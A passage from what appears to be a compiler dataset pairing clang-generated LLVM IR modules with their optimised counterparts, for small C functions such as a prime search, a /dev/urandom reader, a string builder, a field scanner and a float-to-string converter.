%41 = add nsw i32 %37, %40
%42 = load i32, ptr %10, align 4
%43 = add nsw i32 %41, %42
store i32 %43, ptr %12, align 4
%44 = load i32, ptr %12, align 4
%45 = call i32 @is_prime(i32 noundef %44)
%46 = icmp ne i32 %45, 0
br i1 %46, label %32, label %._crit_edge
47: ; preds = %31
%48 = load i32, ptr %11, align 4
%49 = load i32, ptr %6, align 4
%50 = icmp sgt i32 %48, %49
br i1 %50, label %51, label %55
51: ; preds = %47
%52 = load i32, ptr %11, align 4
store i32 %52, ptr %6, align 4
%53 = load i32, ptr %9, align 4
store i32 %53, ptr %7, align 4
%54 = load i32, ptr %10, align 4
store i32 %54, ptr %8, align 4
br label %55
55: ; preds = %51, %47
br label %56
56: ; preds = %55
%57 = load i32, ptr %10, align 4
%58 = add nsw i32 %57, 1
store i32 %58, ptr %10, align 4
%59 = load i32, ptr %10, align 4
%60 = icmp slt i32 %59, 1000
br i1 %60, label %18, label %._crit_edge3, !llvm.loop !6
._crit_edge3: ; preds = %56
br label %61
61: ; preds = %._crit_edge3, %15
br label %62
62: ; preds = %61
%63 = load i32, ptr %9, align 4
%64 = add nsw i32 %63, 1
store i32 %64, ptr %9, align 4
%65 = load i32, ptr %9, align 4
%66 = icmp slt i32 %65, 1000
br i1 %66, label %15, label %._crit_edge6, !llvm.loop !8
._crit_edge6: ; preds = %62
br label %67
67: ; preds = %._crit_edge6, %2
%68 = load i32, ptr %7, align 4
%69 = load i32, ptr %8, align 4
%70 = mul nsw i32 %68, %69
%71 = call i32 @printf(ptr noundef @.str, i32 noundef %70)
ret i32 0
}
declare i32 @is_prime(i32 noundef) #1
declare i32 @printf(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '/tmp/tmpvft4g5bn.c'
source_filename = "/tmp/tmpvft4g5bn.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [13 x i8] c"/dev/urandom\00", align 1
@O_RDONLY = dso_local global i32 0, align 4
@ENOSYS = dso_local global i32 0, align 4
@errno = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @read_random_bytes(ptr noundef %0, i32 noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca ptr, align 8
%5 = alloca i32, align 4
%6 = alloca i32, align 4
%7 = alloca i32, align 4
store ptr %0, ptr %4, align 8
store i32 %1, ptr %5, align 4
%8 = load i32, ptr @O_RDONLY, align 4
%9 = call i32 @open(ptr noundef @.str, i32 noundef %8)
store i32 %9, ptr %6, align 4
%10 = load i32, ptr %6, align 4
%11 = icmp slt i32 %10, 0
br i1 %11, label %12, label %14
12: ; preds = %2
%13 = load i32, ptr @ENOSYS, align 4
store i32 %13, ptr @errno, align 4
store i32 -1, ptr %3, align 4
br label %27
14: ; preds = %2
%15 = load i32, ptr %6, align 4
%16 = load ptr, ptr %4, align 8
%17 = load i32, ptr %5, align 4
%18 = call i32 @read(i32 noundef %15, ptr noundef %16, i32 noundef %17)
store i32 %18, ptr %7, align 4
%19 = load i32, ptr %7, align 4
%20 = load i32, ptr %5, align 4
%21 = icmp slt i32 %19, %20
br i1 %21, label %22, label %23
22: ; preds = %14
store i32 -1, ptr %7, align 4
br label %23
23: ; preds = %22, %14
%24 = load i32, ptr %6, align 4
%25 = call i32 @close(i32 noundef %24)
%26 = load i32, ptr %7, align 4
store i32 %26, ptr %3, align 4
br label %27
27: ; preds = %23, %12
%28 = load i32, ptr %3, align 4
ret i32 %28
}
declare i32 @open(ptr noundef, i32 noundef) #1
declare i32 @read(i32 noundef, ptr noundef, i32 noundef) #1
declare i32 @close(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpvft4g5bn.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [13 x i8] c"/dev/urandom\00", align 1
@O_RDONLY = dso_local global i32 0, align 4
@ENOSYS = dso_local global i32 0, align 4
@errno = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @read_random_bytes(ptr noundef %0, i32 noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca ptr, align 8
%5 = alloca i32, align 4
%6 = alloca i32, align 4
%7 = alloca i32, align 4
store ptr %0, ptr %4, align 8
store i32 %1, ptr %5, align 4
%8 = load i32, ptr @O_RDONLY, align 4
%9 = call i32 @open(ptr noundef @.str, i32 noundef %8)
store i32 %9, ptr %6, align 4
%10 = load i32, ptr %6, align 4
%11 = icmp slt i32 %10, 0
br i1 %11, label %12, label %14
12: ; preds = %2
%13 = load i32, ptr @ENOSYS, align 4
store i32 %13, ptr @errno, align 4
store i32 -1, ptr %3, align 4
br label %27
14: ; preds = %2
%15 = load i32, ptr %6, align 4
%16 = load ptr, ptr %4, align 8
%17 = load i32, ptr %5, align 4
%18 = call i32 @read(i32 noundef %15, ptr noundef %16, i32 noundef %17)
store i32 %18, ptr %7, align 4
%19 = load i32, ptr %7, align 4
%20 = load i32, ptr %5, align 4
%21 = icmp slt i32 %19, %20
br i1 %21, label %22, label %23
22: ; preds = %14
store i32 -1, ptr %7, align 4
br label %23
23: ; preds = %22, %14
%24 = load i32, ptr %6, align 4
%25 = call i32 @close(i32 noundef %24)
%26 = load i32, ptr %7, align 4
store i32 %26, ptr %3, align 4
br label %27
27: ; preds = %23, %12
%28 = load i32, ptr %3, align 4
ret i32 %28
}
declare i32 @open(ptr noundef, i32 noundef) #1
declare i32 @read(i32 noundef, ptr noundef, i32 noundef) #1
declare i32 @close(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp_mu4zcdq.c'
source_filename = "/tmp/tmp_mu4zcdq.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%6 = call i32 (...) @setup_service()
ret i32 0
}
declare i32 @setup_service(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp_mu4zcdq.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%6 = call i32 (...) @setup_service()
ret i32 0
}
declare i32 @setup_service(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpraxgn686.c'
source_filename = "/tmp/tmpraxgn686.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @createStr(ptr noundef %0, i32 noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca i32, align 4
%5 = alloca i32, align 4
store ptr %0, ptr %3, align 8
store i32 %1, ptr %4, align 4
%6 = load i32, ptr %4, align 4
%7 = call i64 @calloc(i32 noundef %6, i32 noundef 1)
%8 = inttoptr i64 %7 to ptr
store ptr %8, ptr %3, align 8
store i32 0, ptr %5, align 4
br label %9
9: ; preds = %21, %2
%10 = load i32, ptr %5, align 4
%11 = load i32, ptr %4, align 4
%12 = icmp slt i32 %10, %11
br i1 %12, label %13, label %24
13: ; preds = %9
%14 = load i32, ptr %5, align 4
%15 = add nsw i32 %14, 1
%16 = trunc i32 %15 to i8
%17 = load ptr, ptr %3, align 8
%18 = load i32, ptr %5, align 4
%19 = sext i32 %18 to i64
%20 = getelementptr inbounds i8, ptr %17, i64 %19
store i8 %16, ptr %20, align 1
br label %21
21: ; preds = %13
%22 = load i32, ptr %5, align 4
%23 = add nsw i32 %22, 1
store i32 %23, ptr %5, align 4
br label %9, !llvm.loop !6
24: ; preds = %9
ret void
}
declare i64 @calloc(i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpraxgn686.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @createStr(ptr noundef %0, i32 noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca i32, align 4
%5 = alloca i32, align 4
store ptr %0, ptr %3, align 8
store i32 %1, ptr %4, align 4
%6 = load i32, ptr %4, align 4
%7 = call i64 @calloc(i32 noundef %6, i32 noundef 1)
%8 = inttoptr i64 %7 to ptr
store ptr %8, ptr %3, align 8
store i32 0, ptr %5, align 4
%9 = load i32, ptr %5, align 4
%10 = load i32, ptr %4, align 4
%11 = icmp slt i32 %9, %10
br i1 %11, label %.lr.ph, label %26
.lr.ph: ; preds = %2
br label %12
12: ; preds = %.lr.ph, %20
%13 = load i32, ptr %5, align 4
%14 = add nsw i32 %13, 1
%15 = trunc i32 %14 to i8
%16 = load ptr, ptr %3, align 8
%17 = load i32, ptr %5, align 4
%18 = sext i32 %17 to i64
%19 = getelementptr inbounds i8, ptr %16, i64 %18
store i8 %15, ptr %19, align 1
br label %20
20: ; preds = %12
%21 = load i32, ptr %5, align 4
%22 = add nsw i32 %21, 1
store i32 %22, ptr %5, align 4
%23 = load i32, ptr %5, align 4
%24 = load i32, ptr %4, align 4
%25 = icmp slt i32 %23, %24
br i1 %25, label %12, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %20
br label %26
26: ; preds = %._crit_edge, %2
ret void
}
declare i64 @calloc(i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmphz2pzohp.c'
source_filename = "/tmp/tmphz2pzohp.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [39 x i8] c"NSMC: NsmcGetInterfaceVersion called.\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @NsmcGetInterfaceVersion() #0 {
%1 = call i32 @printf(ptr noundef @.str)
ret i32 16842752
}
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmphz2pzohp.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [39 x i8] c"NSMC: NsmcGetInterfaceVersion called.\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @NsmcGetInterfaceVersion() #0 {
%1 = call i32 @printf(ptr noundef @.str)
ret i32 16842752
}
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpzx8wu1s6.c'
source_filename = "/tmp/tmpzx8wu1s6.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [4 x i8] c"},\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i64 @findEndOfField(ptr noundef %0, i64 noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca i64, align 8
%5 = alloca i64, align 8
store ptr %0, ptr %3, align 8
store i64 %1, ptr %4, align 8
%6 = load i64, ptr %4, align 8
store i64 %6, ptr %5, align 8
br label %7
7: ; preds = %14, %2
%8 = load ptr, ptr %3, align 8
%9 = load i64, ptr %5, align 8
%10 = add i64 %9, 1
%11 = getelementptr inbounds i8, ptr %8, i64 %10
%12 = call i64 @strncmp(ptr noundef %11, ptr noundef @.str, i32 noundef 3)
%13 = icmp ne i64 %12, 0
br i1 %13, label %14, label %17
14: ; preds = %7
%15 = load i64, ptr %5, align 8
%16 = add i64 %15, 1
store i64 %16, ptr %5, align 8
br label %7, !llvm.loop !6
17: ; preds = %7
%18 = load i64, ptr %5, align 8
%19 = add i64 %18, 3
ret i64 %19
}
declare i64 @strncmp(ptr noundef, ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpzx8wu1s6.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [4 x i8] c"},\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i64 @findEndOfField(ptr noundef %0, i64 noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca i64, align 8
%5 = alloca i64, align 8
store ptr %0, ptr %3, align 8
store i64 %1, ptr %4, align 8
%6 = load i64, ptr %4, align 8
store i64 %6, ptr %5, align 8
%7 = load ptr, ptr %3, align 8
%8 = load i64, ptr %5, align 8
%9 = add i64 %8, 1
%10 = getelementptr inbounds i8, ptr %7, i64 %9
%11 = call i64 @strncmp(ptr noundef %10, ptr noundef @.str, i32 noundef 3)
%12 = icmp ne i64 %11, 0
br i1 %12, label %.lr.ph, label %22
.lr.ph: ; preds = %2
br label %13
13: ; preds = %.lr.ph, %13
%14 = load i64, ptr %5, align 8
%15 = add i64 %14, 1
store i64 %15, ptr %5, align 8
%16 = load ptr, ptr %3, align 8
%17 = load i64, ptr %5, align 8
%18 = add i64 %17, 1
%19 = getelementptr inbounds i8, ptr %16, i64 %18
%20 = call i64 @strncmp(ptr noundef %19, ptr noundef @.str, i32 noundef 3)
%21 = icmp ne i64 %20, 0
br i1 %21, label %13, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %13
br label %22
22: ; preds = %._crit_edge, %2
%23 = load i64, ptr %5, align 8
%24 = add i64 %23, 3
ret i64 %24
}
declare i64 @strncmp(ptr noundef, ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmp2oeu0wca.c'
source_filename = "/tmp/tmp2oeu0wca.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [2 x i8] c".\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @ftoa(float noundef %0, ptr noundef %1) #0 {
%3 = alloca float, align 4
%4 = alloca ptr, align 8
%5 = alloca i32, align 4
%6 = alloca [12 x i8], align 1
%7 = alloca [12 x i8], align 1
%8 = alloca ptr, align 8
%9 = alloca i64, align 8
store float %0, ptr %3, align 4
store ptr %1, ptr %4, align 8
call void @llvm.memset.p0.i64(ptr align 1 %7, i8 0, i64 12, i1 false)
store ptr @.str, ptr %8, align 8
%10 = load float, ptr %3, align 4
%11 = fcmp ogt float %10, 0.000000e+00
br i1 %11, label %12, label %15
12: ; preds = %2
%13 = load float, ptr %3, align 4
%14 = fadd float %13, 0x3F40624DE0000000
store float %14, ptr %3, align 4
br label %18
15: ; preds = %2
%16 = load float, ptr %3, align 4
%17 = fsub float %16, 0x3F40624DE0000000
store float %17, ptr %3, align 4
br label %18
18: ; preds = %15, %12
%19 = load float, ptr %3, align 4
%20 = fmul float %19, 1.000000e+03
%21 = fptosi float %20 to i32
store i32 %21, ptr %5, align 4
%22 = load i32, ptr %5, align 4
%23 = icmp sgt i32 %22, 0
br i1 %23, label %24, label %26
24: ; preds = %18
%25 = load i32, ptr %5, align 4
br label %29
26: ; preds = %18
%27 = load i32, ptr %5, align 4
%28 = sub nsw i32 0, %27
br label %29
29: ; preds = %26, %24
%30 = phi i32 [ %25, %24 ], [ %28, %26 ]
%31 = getelementptr inbounds [12 x i8], ptr %6, i64 0, i64 0
%32 = call i32 @itoa(i32 noundef %30, ptr noundef %31, i32 noundef 10)
%33 = load i32, ptr %5, align 4
%34 = icmp sge i32 %33, 0
br i1 %34, label %35, label %37
35: ; preds = %29
%36 = getelementptr inbounds [12 x i8], ptr %7, i64 0, i64 0
store i8 32, ptr %36, align 1
br label %39
37: ; preds = %29
%38 = getelementptr inbounds [12 x i8], ptr %7, i64 0, i64 0
store i8 45, ptr %38, align 1
br label %39
39: ; preds = %37, %35
%40 = getelementptr inbounds [12 x i8], ptr %6, i64 0, i64 0
%41 = call i32 @strlen(ptr noundef %40)
%42 = icmp eq i32 %41, 1
br i1 %42, label %43, label %50
43: ; preds = %39
%44 = getelementptr inbounds [12 x i8], ptr %7, i64 0, i64 1
store i8 48, ptr %44, align 1
%45 = getelementptr inbounds [12 x i8], ptr %7, i64 0, i64 2
store i8 48, ptr %45, align 1
%46 = getelementptr inbounds [12 x i8], ptr %7, i64 0, i64 3
store i8 48, ptr %46, align 1
%47 = getelementptr inbounds [12 x i8], ptr %7, i64 0, i64 0
%48 = getelementptr inbounds [12 x i8], ptr %6, i64 0, i64 0
%49 = call i32 @strcat(ptr noundef %47, ptr noundef %48)
br label %75
50: ; preds = %39
%51 = getelementptr inbounds [12 x i8], ptr %6, i64 0, i64 0
%52 = call i32 @strlen(ptr noundef %51)
%53 = icmp eq i32 %52, 2
br i1 %53, label %54, label %60
54: ; preds = %50
%55 = getelementptr inbounds [12 x i8], ptr %7, i64 0, i64 1
store i8 48, ptr %55, align 1
%56 = getelementptr inbounds [12 x i8], ptr %7, i64 0, i64 2
store i8 48, ptr %56, align 1
%57 = getelementptr inbounds [12 x i8], ptr %7, i64 0, i64 0
%58 = getelementptr inbounds [12 x i8], ptr %6, i64 0, i64 0
%59 = call i32 @strcat(ptr noundef %57, ptr noundef %58)
br label %74
60: ; preds = %50
%61 = getelementptr inbounds [12 x i8], ptr %6, i64 0, i64 0
%62 = call i32 @strlen(ptr noundef %61)
%63 = icmp eq i32 %62, 3
br i1 %63, label %64, label %69
64: ; preds = %60
%65 = getelementptr inbounds [12 x i8], ptr %7, i64 0, i64 1
store i8 48, ptr %65, align 1
%66 = getelementptr inbounds [12 x i8], ptr %7, i64 0, i64 0
%67 = getelementptr inbounds [12 x i8], ptr %6, i64 0, i64 0
%68 = call i32 @strcat(ptr noundef %66, ptr noundef %67)
br label %73
69: ; preds = %60
%70 = getelementptr inbounds [12 x i8], ptr %7, i64 0, i64 0
%71 = getelementptr inbounds [12 x i8], ptr %6, i64 0, i64 0
%72 = call i32 @strcat(ptr noundef %70, ptr noundef %71)
br label %73
73: ; preds = %69, %64
br label %74
74: ; preds = %73, %54
br label %75
75: ; preds = %74, %43
%76 = getelementptr inbounds [12 x i8], ptr %7, i64 0, i64 0
%77 = call i32 @strlen(ptr noundef %76)
%78 = sub nsw i32 %77, 3
%79 = sext i32 %78 to i64
store i64 %79, ptr %9, align 8
%80 = load ptr, ptr %4, align 8
%81 = getelementptr inbounds [12 x i8], ptr %7, i64 0, i64 0
%82 = load i64, ptr %9, align 8
%83 = call i32 @strncpy(ptr noundef %80, ptr noundef %81, i64 noundef %82)
%84 = load ptr, ptr %4, align 8
%85 = load i64, ptr %9, align 8
%86 = getelementptr inbounds i8, ptr %84, i64 %85
store i8 0, ptr %86, align 1
%87 = load ptr, ptr %4, align 8
%88 = load ptr, ptr %8, align 8
